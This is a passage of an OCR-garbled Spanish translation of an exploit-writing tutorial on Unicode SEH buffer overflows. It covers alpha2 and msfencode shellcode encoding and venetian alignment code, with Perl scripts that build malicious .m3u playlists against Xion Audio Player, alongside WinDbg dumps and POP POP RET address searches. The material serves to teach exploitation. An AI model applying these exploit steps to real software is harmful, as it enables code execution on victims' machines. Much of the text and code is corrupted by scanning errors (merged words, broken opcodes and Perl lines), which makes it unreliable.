necesaria es menor.

(La documentacion indica que "el decodificador camdbsu propio codigo
para escapar de las limitaciones del codigo alfémiwm Se crea un bucle
decodificador que decodifica la Shellcode origirtdbrescribe los datos
codificados con la Shellcode decodificada y le gfi@ne la ejecucién para
cuando haya terminado. Para ello, es necesarip déseribir y ejecutar
permiso en la memoria en ejecucion y necesita ssbarbicacion en la
memoria (es baseaddress)."

Asi es como funciona:
1. Genera la raw Shellcode con msfpayload.
2. Convierte la raw Shellcode en una cadena Uniatitizando alphaZ2:

root@bt4:/# cd pentest
root@bt4:/pentest# cd exploits/
root@bt4:/pentest/exploits# cd framework3

root@bt4:/pentest/exploits/framework3# cd ..
root@bt4:/pentest/exploits# cd alpha2

PPYAIAIAIAIAQATAXAZAPA3QAD...0LJA

(He eliminado la mayor parte de los resultadoso Sy@nera tu propia
Shellcode y copia/pega el resultado en tu scrigbqhéoit).

Coloca el resultado de la conversionalgha?2 en la variable $Shellcode
en tu exploit. Una vez mas, asegurate de que é&tregeAX (en mi
ejemplo) apunte al primer caracter de esta Shallgodue salte a EAX
(después de la configuracién del registro, si e@egario).

Si no se puede preparar 0 usar un registro conecaidn base, entonces
alpha2 también soporta una técnica que intentallealsu propia direccion
base mediante el uso de SEH. En lugar de especiitaegistro, solo
especifica SEH. De esta manera, puedes ejecutardajo (incluso si no
esta apuntado directamente a uno de los regisyrgsie todavia sera capaz
de decodificar y ejecutar la Shellcode original).
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4. Metasploit

He tratado de generar la Shellcode de Metasplampatible con Unicode,
pero al principio no funcioné como yo esperaba.

root@krypt02:/pentest/exploits/framework3#

[-] x86/unicode_upper failed: BadChar; 0 to 1
[-] No encoders succeeded.

(El problema esta dmttps://metasploit.com/redmine/issues/#30

Stephen Fewer proporcioné una solucién para estdgma:

.Imsfpayload windows/ CMD-=calc R |

.msfencode -e x86/alpha_mixed -t raw |
./msfencode -e x86/unicode_upper BufferRegist er=EAX -t perl

Pon todo en una linea.

Basicamente, codifica con alpha _mixed primero, yegtu con
unicode_upper. El resultado sera una Shellcode atinig con Unicode
para Perl.

Resultado: Metasploit puede hacer el truco también.

5. UniShellGenerator por Back Khoa Internetworkusiy.

Esta herramienta se demuestra en esta presenthaitentablemente no
pude encontrar una copia de esta herramienta dgueeraparte, y la
persona o0 personas que escribieron la herramientaenhan respondido

tampoco.

http://security.bkis.vn/
http://www.bellua.com/bcs2006/asia08.materials/BeaBh.pdf




Creacién de Exploits 7: Unicode — De 0x00410041aCalc por
corelancOd3r traducido por lvinson/CLS

Poner todo en orden: preparando los registros y
saltando a la Shellcode

Con el fin de poder ejecutar la Shellcode, es rmemefiegar a ella. Si es
una version ASCII de la shellcode o una versionctiake (decodificador),
tendras que llegar alli primero. Con el fin de lhaeso, a menudo se
requiere establecer los registros de una formacpkat, utilizando tu
propia Shellcode veneciana, y/o escribir codigo faga un salto a un
registro dado.

Escribiendo estas lineas de codigo requiere un plecoreatividad, que
pienses en los registros, y que seas capaz déieseras instrucciones de
ensamblador basicas.

Escribir Jumpcode se basa puramente en los prascide Shellcodes
venecianas. Esto significa que:

- SOlo tienes un conjunto limitado de instrucciones

- Necesitas encargarte de los bytes nulos. Cudndm&go se coloca en la
pila, los bytes nulos seran insertados. Asi queiragucciones deben
trabajar cuando se afaden bytes nulos.

- Es necesario pensar en la alineacion de opcodes.

Ejemplo 1.

Digamos que has encontrado una version ASCIl dé&hallcode, sin

modificar, en 0x33445566, y te has dado cuentaugetgmbién controlas
EAX. Sobrescribes EIP con salto a EAX, y ahorajdea es escribir
algunas lineas de cdédigo en EAX, que hara un adta33445566.

Si esto no hubiera sido unicode, podriamos haoeeldiante las siguientes
instrucciones:

bb66554433  #mov ebx,33445566h
ffe3 #mp  ebx

Hubiéramos colocado el codigo siguiente en EAXb\Xk66 \x55 \x44
\x33 \xff \XE3, y tendriamos EIP sobrescrito coOMRIEAX".

Pero es Unicode. Asi que, obviamente, esto nofwaconar.



Creacién de Exploits 7: Unicode — De 0x00410041aCalc por
corelancOd3r traducido por lvinson/CLS

¢, Coémo podemos lograr lo mismo con instruccionesadl@ amigables?

Vamos a echar un vistazo a la instruccM®V primero. "MOV EBX"

= Oxbb, seguido de lo quieres poner en EBX. Estérpetro tiene que estar
en el formato 00NnO0OMm, sin causar problemas ®imirucciones. Por
ejemplo, puedes hacer MOV EBX, 33005500. El codigmperacion para
esto seria:

bb00550033  #mov ebx,33005500h

De modo que los bytes a escribir en EAX (en nuesmplo) son \xbb
\x55 \x33. Unicode insertaria bytes nulos, resditaen \xbb \Q0 \x55
\x00\x33, que de hecho es la instruccion que necesgam

La misma técnica se aplica para instrucciones ACHV.

Puedes utilizar instrucciones INC, DEC tambiénagambiar los registros
0 para cambiar de posicion en la pila.

El articulo de phrack Creando Shellcodes 1A32 ‘teepa de Unicode”
http://www.phrack.org/issues.html?issue=61&id=11# muestra la
secuencia completa de poner cualquier direcciénreregistro dado, que
muestre exactamente lo que quiero decir. Volvieadauestro ejemplo,
gueremos poner 0x33445566 en EAX. Asi es como&® ha

mov eax,0xAA004400 ; set EAX to 0OxAA004400
eax
dec esp
eax ; EAX = 0x0044007?7?

add eax,0x33005500 ; EAX = 0x334455??
mov al,0x0 ; EAX = 0x33445500

mov ecx,0xAA006600

add al,ch ; EAX now contains 0x3344

Si convertimos estas instrucciones en opcodedytsmme:

b8004400aa  mov eax,0AA004400h
50 eax

4c dec esp

58 eax

0500550033 add eax,33005500h
0]0]0]0) mov al,0
b9006600aa mov  ecx,0AA006600h
00e8 add al,ch
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Y aqui vemos nuestro siguiente problema. EI MOVay instrucciones
ADD parecen ser Unicode amigables. Pero ¢qué maséos opcodes de
un solo byte? Si los bytes nulos se afiaden ent® &s instrucciones no
van a funcionar.

Vamos a ver lo que quiero decir. Las instrucciam@eriores se traducirian
en la string del Payload siguiente:

\xb8\x44\xaa\x50\x4c\x58\x05\x55\x33\xb0\xb9\x6 ke 8

O en Perl:

$align="  \xb8\x44\xaa "; #mov eax,0AA004400h
$align=%$align." \x50 "; # eax
$align=%$align." \x4c "; #dec esp
$align=$align." \x58 "; # eax

$align = $align." \x05\x55\x33  "; #add eax,33005500h
$align=$align." \xb0 "; #mov al,0

$align=%$align." \xb9\x66\xaa "; #mov ecx,0AA0660h
$align=%$align." \xe8 "; #add al,ch

Cuando se ve en un depurador, esta cadena se rteneie estas
instrucciones:

0012f2b4 b8004400aa  mov  eax,0AA004400h
0012f2b9 005000 add byte ptr [eax],dI
0012f2bc 4c dec esp

0012f2bd 005800 add Dbyte ptr [eax],bl

0012f2c0 0500550033 add eax,

<Unloaded_papi.dlI>+0x330054ff (33005500)

0012f2c5 00b000b90066 add byte ptr [eax+6600 B900h],dh
0012f2ch 00aa00e80050 add byte ptr [edx+5000 E800h],ch

Auch. jQué lio! La primera esta bien, pero a paita segunda, esta rota.

Asi que parece que tenemos que encontrar una meaeasegurarse de
que "PUSH EAX, DEC ESP, POP EAX" y otras instruoe® sean
interpretadas de una manera correcta.

La solucion para esto es insertar algunas instvaesi de seguridad (piensa
en ello como NOP’s), que nos permitan alinear igesbnulos, sin hacer
ningin dafio a los registros o instrucciones. Cdrratas brechas,
asegurandose de que los bytes nulos e instrucoastés alineados de una
manera adecuada, es por eso qué esta técnicenaeSteellcode veneciana.



Creacién de Exploits 7: Unicode — De 0x00410041aCalc por
corelancOd3r traducido por lvinson/CLS

En nuestro caso, tenemos que encontrar instruccigne "se coman” los
bytes nulos que se han afiadido y que estan caupamiolemas. Podemos
resolver esto usando uno de los siguientes opcédigsendiendo de
registro que contenga una direccidn de escrits@pueda utilizar):

00 6E 00:add byte ptr [esi],ch
00 6F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh

00 71 00:add byte ptr [ecx],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh

(62, 6d son otros 2 que se pueden utilizar. Sdieoea ve lo que funciona
para ti).

Asi, si por ejemplo ESI tiene permisos de escrifyrao te importa que
algo esta escrito en la ubicacién a la que apusgaregistro), entonces
puedes usar \x6e entre dos instrucciones, a faligear los bytes nulos.

Ejemplo:

$align="  \xb8\x44\xa " #mov eax,0AA004400h
$align=$align." \x6e "; #nop/align null bytes
$align=$align." \x50 "; # eax
$align=%align." \x6e "; #nop/align null bytes
$align=%$align." \x4c "; #dec esp
$align=$align." \x6e "; #nop/align null bytes
$align=$align." \x58 "; # eax
$align=$align." \x6e "; #nop/align null bytes
$align = $align." \x05\x55\x33 "; #add eax,33005500h
$align=%align." \x6e "; #nop/align null bytes
$align=$align." \xb0 "; #mov al,0
#no alignment needed between these 2 !
$align=%$align." \xb9\x66\xaa "; #mov ecx,0AA0660h
$align=%align." \x6e "; #nop/align null bytes

En el depurador, las instrucciones ahora tiensigalente aspecto:

0012f2b4 b8004400aa  mov  eax,0AA004400h
0012f2bc 50 eax
0012f2c0 4c

0012f2c4 58

0012f2c8 0500550033 add eax,
<Unloaded_papi.dlI>+0x330054ff (33005500)

0012f2d0 b0O00 mov al,0
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0012f2d2 b9006600aa  mov  ecx,0AA006600h

Mucho mejor. Como puedes ver, tendras que jugaestmun poco. No es
una cuestion de poner /x6e entre cada dos ingines; necesitas probar
cudl es el impacto y alinear en consecuencia.

Ok, asi que en este punto, hemos logrado ponedineecion en EAX.

Todo lo que tienes que hacer ahora es ir a esactire Una vez mas,
tenemos un par de lineas de codigo veneciano parale forma mas facil
de saltar a EAX es PUSHeando EAX a la pila, y lusggresar a la ella
(PUSH EAX, RET).

Los Opcodes son:

50 ;

c3 ret

(C3 deberia convertirse en C300.)

En el codigo veneciano, este es \x50 \x6e \xc3.

En este punto, hemos logrado lo siguiente:

- Tenemos EIP sobreescrito con una instruccion util

- Hemos escrito algunas lineas de codigo paraaajust valor en uno de
los registros.

- Hemos saltado a ese registro.

Si ese registro contiene la Shellcode ASCII, yjeeuta, entonces se acabd
el juego.

Nota: por supuesto, hardcodeando una direcciors mea@mendable. Seria
mejor si se utiliza un valor de desplazamiento th@s=n el contenido de
uno de los registros. Entonces, puedes utilizarinagucciones ADD vy
SUB para aplicar la compensacion de dicho registin,el fin de llegar al
valor deseado.

Nota 2: Si las instrucciones no se traducen caneehte, puede que esté
utilizando una traduccion diferente de Unicode Zgsidebido al idioma y
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opciones regionales), que tiene gran influencia etnéxito de la
explotacion. Revisa la tabla de traduccion de FXe\si puedes encontrar
otro byte que, cuando se convierta a Unicode, lmauue queremos que
haga. Si por ejemplo OxC3 no se traduce a 0xC3 ,0xttOnces puedes ver
si la conversion Unicode utiliza la pagina de codi®pEM. En ese caso,
Oxc7 que se convierten a 0xC3 0x00, que puede #gudaconstruir el
exploit.

Ejemplo 2:

Supongamos que quieres poner la direccion EBP+3AX (para poder
saltar a EAX), entonces tendras que escribir lastruociones de
ensamblajador necesarias y luego aplicar la técdieala Shellcode
veneciana para que puedas terminar con el cédigosgua ejecutado
cuando se convierta a Unicode.

Ensambla para poner EBP+300h en EAX:

ebp ; put the address at ebp on the sta ck
eax ; get address of ebp back from the stack and put

it in eax
add eax,11001400 ; add 11001400 to eax
eax,11001100 ; subtract 11001100 from eax. Resu It = eax+300

Los Opcodes son:

55 ebp

58 eax

0500140011 add eax, XXXX+0x1400 (11001400)
2d00110011 eax, XXXX+0x1100 (11001100)

Después de aplicar la técnica de la Shellcode vameces la cadena que
hay que enviar:

$align="  \x55 *"; # ebp
$align=%$align." \x6e "; #align
$align=%$align." \x58 "; # eax
$align=%$align." \x6e "; #align

$align=%$align." \x05\x14\x11 "; #add eax,0x11001400
$align=%$align." \x6e "; #align

$align=%align." x2d\x11\x11 ", # eax,0x11001100
$align=%$align." \x6e "; #align
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En el depurador, esto se ve asi:

0012f2b4 55 ebp
0012f2b5 006e00 add byte ptr [esi],ch
0012f2b8 58 eax

0012f2b9 006e00 add Dbyte ptr [esi],ch

0012f2bc 0500140011 add eax, XXXX+0x1400 (11001400)
0012f2c1 006e00 add byte ptr [esi],ch
0012f2c4 2d00110011 eax, XXXX+0x1100 (11001100)
0012f2c9 006e00 add byte ptr [esi],ch

iSil. Ganamos.

Ahora pon los componentes juntos y tendras un @xXplacional:
- Pon algo significativo en EIP.

- Ajusta los registros si es necesario.

- Saltay ejecuta la Shellcode (ASCII o via decodiar).

La construccion de un exploit unicode - Ejemplo 1

Con el fin de demostrar el proceso de construiredploit funcional
compatible con Unicode, vamos a utilizar una vidbéidad enXion
Audio Player v1.0 (build 121) detectada por DragOn Rider
http://securityreason.com/exploitalert/7381210 de octubre de 20089.

Me he dado cuenta de que el enlace en el cédigonBa@&punta a construir
121 mas (y este exploit solo puede actuar en cdatbaiild 121), puedes
descargar una copia de esta solicitud vulnerahle aq

https://www.corelan.be/?d| id=42

Si estas interesado en probar la ultima versioe fmuede ser vulnerable
también), entonces puedes bajarla aqui (dellnuticigs por mencionar
esto)

El cédigo PoC publicado por DragOn Rider indica que archivo
incorrecto lista de reproduccién (. M3u) puede bkay la aplicacion.

Mi entorno de prueba (Windows XP SP3 Inglés, calosdos parches) se
ejecuta en VirtualBox. Configuracion regional estiablecida en Inglés
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(EE.UU.) (Edi, gracias por verificar que el expldiinciona con estos
ajustes regionales).

Cuando tratamos el codigo PoC, vemos esto:

$crash =" \x41 " x 5000;

(myfile,">DragonR.m3u’);
myfile $crash;

Abre la aplicacion (en windbg o cualquier otro deglar), haz clic en la
interfaz grafica de usuario, selecciona "Playlistanda a "File" - "Load
playlist”. Luego, selecciona el archivo .m3u y gagé pasa.

Resultado:

(e54.a28): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=00000041 ebx=019ca7ec ecx=02db3e60 edx=00130000 esi=019ca7d0

edi=0012f298

eip=0laec2a6b esp=0012e84c ebp=0012f2b8 iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00210206

DefaultPlaylist!XionPluginCreate+0x18776:

Olaec2a6 668902 mov  word ptr [edx],ax

ds:0023:00130000=6341

Missing image name, possible paged-out or corrupt d

Missing image name, possible paged-out or corrupt d

Missing image name, possible paged-out or corrupt d

0:000> !exchain

image00400000+10041 ( 0041 41)

Invalid exception stack at 0041 41

La estructura SE se ha sobrescrito y ahora con@édédd041 (que es el
resultado de la conversion Unicode de AA).

En un sobreescritura (ASCII) de SEH 'normal’'eteas que sobrescribir
el SE Handler con un puntero al POP POP RET y sobb& SEH junto
con un salto corto.

Asi que tenemos que hacer 3 cosas:

- Encontrar el desplazamiento de la estructura SE.

- Encontrar un puntero compatible con unicode & PFOP RET.

- Encontrar algo que se haré cargo del salto.
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Lo primero es lo primero: el desplazamiento. Emafude usar 5000 A’s,
puse un patrén de 5000 caracteres de Metaspldicrash.

Resultado:

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=0000006e ebx=02e45e6¢c ecx=02db7708 edx=00130000 esi=02e45e50
edi=0012f298

eip=0laec2ab esp=0012e84c ebp=0012f2h8 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00210202

DefaultPlaylist!XionPluginCreate+0x18776:

Olaec2a6 668902 mov  word ptr [edx],ax

ds:0023:00130000=6341

Missing image name, possible paged-out or corrupt d

Missing image name, possible paged-out or corrupt d

Missing image name, possible paged-out or corrupt d

0:000> !exchain

0012f2ac: BASS_FX+69 (00350069)

Invalid exception stack at 00410034

0:000> d 0012f2ac

0012f2ac 69 00 35 00-41 006900 36004100 4.A.i.5.A.i.6.A.
0012f2bc 69 00 37 00 41 00 69 00-38 00 41 00 69 00 3900 i.7.A.i.8.A.i.9.
0012f2cc 41 00 6a 00 30 00 41 00-6a 00 31 00 41 00 6a 00 A,j.0.A.1.A,.
0012f2dc 32 00 41 00 6a 00 33 00-41 00 6a 00 34 00 4100 2.A.j.3.Aj4.A.
0012f2ec 6a 00 35 00 41 00 6a 00-36 00 41 00 6a 00 3700 j.5.A,j.6.A.}.7.
0012f2fc 41 00 6a 00 38 00 41 00-6a 00 39 00 41 00 6b 00 Aj.8.A,j.9.Ak.
0012f30c 30 00 41 00 6b 00 31 00-41 00 6b 00 32 00 41 00 0.Ak.1.Ak.2.A.
0012f31c 6b 00 33 00 41 00 6b 00-34 00 41 00 6b 00 3500 k.3.Ak.4.A.k.5.

Al volcar la estructura SE (d 0012f2ac, podemos eleproximo SEH
(en rojo, contiene 34 00 41 00) y el SE Handlerdelor verde, contiene
69 00 35 00).

Para el célculo del offset tenemos que coger Idsytés tomados del
préximo SEH y SE Handler juntos, y usar eso contatiena de blsqueda
del desplazamiento: 34 41 69 35 -> 0x35694134.

XXXX@bt4 ~/framework3/tools
$ ./pattern_offset.rb 0x35694134 5000

254

Ok, el siguiente script deberia:
- Hacernos llegar a la estructura SE después dedtadteres.

- Sobrescribir el préoximo SEH con 00420042 (com@ugede ver, solo 2
bytes son requeridos).
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- Sobrescribir SE Handler con 00430043 (como sel@wer, sblo 2 bytes
son requeridos).

- Adadir mas basura.

Cadigo:

$totalsize=5000;

$junk =" A" x 254;

$nseh=" BB

$seh=" CC;

$morestuff=" D' x (5000- ($junk.$nseh.$seh));

$payload=$junk.$nseh.$seh.$morestuff;

(myfile,">corelantest. m3u’);
myfile $payload;

(myfile);

" Wrote ". ($payload)." bytes\n  ";

Resultado:

First chance exceptions are reported before any exc eption handling.

This exception may be expected and handled.

eax=00000044 ebx=019c4e54 ecx=02db3710 edx=00130000 esi=019c4e38 edi=0012f298
eip=01aec2a6 esp=0012e84c ebp=0012f2b8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0 efl=00210206

DefaultPlaylist!XionPluginCreate+0x18776:
Olaec2a6 668902 mov  word ptr [edx],ax
ds:0023:00130000=6341

Missing image name, possible paged-out or corrupt d
Missing image name, possible paged-out or corrupt d
Missing image name, possible paged-out or corrupt d
0:000> !exchain

0012f2ac:

image00400000+30043 (00430043)

Invalid exception stack at 00420042

0:000> d 0012f2ac

0012f2ac 42 00 42 00 43 00 43 00-44 00 44 00 44 00 B.B.C.C.D.D.D.D.
0012f2bc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f2cc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f2dc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f2ec 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f2fc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f30c 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f31c 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.

La estructura SE esta bien sobrescrita, y podemiokas D's de $morestuff
colocadas justo después de que hayamos sobrda@itructura SE.
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El siguiente paso es encontrar un buen indicadd?O® POP RET.
Necesitamos una direccion que llevara a cabo un POP RET aunque
los primeros bytes y el tercero sean nulos).

Mi plugin para pvefindaddr de ImmDbg te ayudara aso. Carga
xion.exe en ImmDBG. Ejecuta la aplicacion, andawddro de dialogo
Playlist, selecciona "File", "Load playlist, penm cargues el archivo de
lista de reproduccion.

Vuelve al depurador y ejecuta !'Pvefindaddr p2.
Se iniciara una busqueda de todas las combinacam®OP POP RET en
el espacio memoria del proceso entero, y escribiréesultado en un
archivo llamado ppr2.txt.

"C:\Archivos de programa\lmmunity Inc\immunity Degger\ppr2.txt"

Este proceso puede tomar mucho tiempo, asi queatzencia.

& C:.Program FilesImmunity Inc,Immunity Debugger

File Edit ‘“iew Favorites Tools  Help

OBack ull = B ir /.-x: Search Folders > | ¥ x n ‘

Address | ) :\Program Files\Immunity IncImmunity Debugger

Marne | Size | Tvpe | Dake Moc
WSZ_52,hak 1KE BA&K File 509200
wsftpgui,bak, 3KE BAK File 7109200
WSOCK32, bak 1KE BAK File 1209020
wion.bak 1.B63KE  BAK File 3114200
}ImmunityDebugger.ini 12 KB Configuration Setkings 6117200
debugaer.pwd 306 KB PYD File 18/0z)zC
[£] Changelag.bxt ?3KE  Text Dacument 1802420
[£] depup.toct 2KE  Text Dacument 3111200
[Z] eatut OKE Text Dacument 9/10)200
) iedges.bxt OKE Text Document 9/1020C
[£] ek 19KE Text Document 1802420
348KB  Text Document BI11/200
=1 anael, udd 3KE  UDD File 300200

Lo o o e

FIEIl:.I N |:| |:||E||:| él:ll: |:||E||:| é
Search complete
Output written to pprz.

Found 25168 addire:

T
e P
= m
——
[ R f el

=]
—

Cuando el proceso se haya completado, abre elvarcloin tu editor de
texto favorito y busca "Unicode" o ejecute el codmsiguiente:

C:\Program Files\Immunity Inc\Immunity Debugger>

ret at 0x00470BB5 [xion.exe] ** Maybe Unicode comp
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ret at 0x0047073F [xion.exe] ** Maybe Unicode comp atible **
ret at 0x004107D2 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x004107FE [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00480A93 [xion.exe] ** Maybe Unicode comp atible **

ret at 0x0045048B [xion.exe] ** Maybe Unicode comp atible **
ret at 0x0047080C [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470F41 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470F9C [xion.exe] ** Maybe Unicode comp atible **

ret at 0x004803FE [xion.exe] ** Maybe Unicode comp atible **
ret 04 at 0x00480C6F [xion.exe] ** Maybe Unicode c ompatible **
ret at 0x00470907 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470C9A [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470CD89 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470D08 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x004309DA [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00430ABB [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00480C26 [xion.exe] ** Maybe Unicode comp atible **
ret at 0OXO0450AFE [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00450E49 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470136 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470201 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470225 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x004704E3 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x0047060A [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470719 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x004707A4 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470854 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470C77 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470EQ9 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470E3B [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00480224 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00480258 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00480378 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00480475 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470EFD [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470F04 [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00470FO0B [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00450B2D [xion.exe] ** Maybe Unicode comp atible **
ret at 0x00480833 [xion.exe] ** Maybe Unicode comp atible **

ret at 0x00470166 [xion.exe] ** Maybe Unicode comp atible **

Las direcciones que deberia llamar tu atencion diet@mente son las que
parecen ser compatible con Unicode. La secuenciecaeandos de
pvefindaddr indicara direcciones que tengan bytdéssren el primer byte y
el tercero. Tu tarea ahora es encontrar las doresique sean compatibles
con tu exploit. Dependiendo de la traduccién depdgina de codigo
Unicode que fue utilizada, puedes 0 no ser capasaeuna direccion que
contenga un byte que es > 7f.
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Como se puede ver, en este ejemplo estamos lirsitadks direcciones en
el ejecutable xion.exe mismo, que (afortunadamembelsta compilado
con SafeSEH.

Si dejamos a un lado todas las direcciones queecant bytes > 7f,
entonces vamos a tener que trabajar con:

0x00450015, 0x00410068 y 0x00410079.
Ok, vamos a probar estas 3 direcciones y ver gsi pa

Sobrescribe el SE Handler con una de estas direzsig sobrescribe el
proximo SEH con 2 A’s de (0x 41 0x41).

Cadigo:

$totalsize=5000;

$junk =" A" x 254;

$nseh=" \x41\x41 "; #nseh -> 00410041

$seh=" \x15\x45 "; #put 00450015 in SE Handler
$morestuff=" D' x (5000- ($junk.$nseh.$seh));

$payload=$junk.$nseh.$seh.$morestuff;

(myfile,'>corelantest.m3u’);

myfile $payload;

(myfile);

" Wrote ". ($payload)." bytes\n *;

Resultado:

0:000> !exchain

0012f2ac:

image00400000+50015 (00450015)
Invalid exception stack at 00410041

Si se coloca un BP en 00450015, deberiamos veigeleste resultado
después de presionar F5 y luego trazar las insbnes:

0:000> bp 00450015

0:000> g

Breakpoint O hit

eax=00000000 ebx=00000000 ecx=00450015 edx=7c9032bc esi=00000000
edi=00000000

eip=00450015 esp=0012e47c ebp=0012e49c iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

image00400000+0x50015:
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00450015 5b ebx

0:000> t

eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000
edi=00000000

eip=00450016 esp=0012e480 ebp=0012e49c iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

image00400000+0x50016:

00450016 5d ebp

0:000> t

eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000
edi=00000000

eip=00450017 esp=0012e484 ebp=0012e564 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

image00400000+0x50017:
00450017 c3 ret
0:000> t

eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=0012f2ac esp=0012e488 ebp=0012e564 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0 efl=00200246
<Unloaded_papi.dll>+0x12f2ab:

0012f2ac 41 inc  ecx

0:000> d eip

0012f2ac -44 00 44 00 44 00 44 00 A.A...E.D.D.D.D.
0012f2bc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f2cc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f2dc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f2ec 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f2fc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f30c 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f31c 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

Podemos ver el POP POP RET ejecutandose, y dedpU&ET, se hace
un salto al registro de SE (nSEH) en 0012f2ac.

La primera instruccién en nSEH es 0x41 (que es "BX¥X"). Al volcar el
contenido de EIP (antes de ejecutar la instruccioainos las 2 A'S en
NnSEH (41 00 41 00), seguido de 15 00 45 00 (=SHEll¢an y luego D's
(de $morestuff). En un tipico exploit de SEH, nostgria saltar a la D's.
Ahora, en lugar de escribir jumpcode en nseh (gué sasi imposible de
hacer), solo puede "caminar” hacia las D's.

Todo lo que necesitamos es:

- Algunas instrucciones en nSEH que actuaradn comdl@P, (o incluso
pueden ayudarnos a preparar la pila luego).
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- La confirmacion de que la direccion de SE Han(lé&r00 45 00), cuando
se ejecuta como si se tratara de instruccioneshard ningun dafo
tampoco.

Las 2 A'S en nSEH, cuando se ejecutan, haran loesitg:

eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000
edi=00000000

eip=0012f2ac esp=0012e0c4 ebp=0012e1a0 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

<Unloaded_papi.dii>+0x12f2ab:

0012f2ac

0:000> t

€ax=00000000 ebx=7c9032a8 ecx=00450016 edx=7c9032bc esi=00000000
edi=00000000

eip=0012f2ad esp=0012e0c4 ebp=0012e1a0 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200202

<Unloaded_papi.dlI>+0x12f2ac:

0012f2ad

ds:0023:00450016=5d

La primera instruccién parece ser mas o0 menosnsofe, pero la segunda
causara otra excepcion, lo que nos devuelve a n®EHque no va a
funcionar.

Tal vez podemos utilizar una de las siguientesunstones de nuevo:

00 6E 00:add byte ptr [esi],ch
00 6F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh

00 71 00:add byte ptr [ecx],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh

Hay una serie de instrucciones que funcionan tam(6i2, 6d, etcétera).

Y tal vez la primera instruccion (41 = INC EAX) pdal ser reemplazada
por un POPAD (= \x61) (que pondra algo en todssrémistros. Esto nos
puede ayudar luego).
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Entonces sobrescribe nSEH con 0x61 0x62 y ve ldque:

Cadigo:

$totalsize=5000;

$junk =" A" x 254;

$nseh=" \x61\x62 "; #nseh -> popad + nop/align

$seh=" \x15\x45 "; #put 00450015 in SE Handler
$morestuff=" D' x (5000- ($junk.$nseh.$seh));

$payload=$junk.$nseh.$seh.$morestuff;

(myfile,">corelantest. m3u’);

myfile $payload;

(myfile);

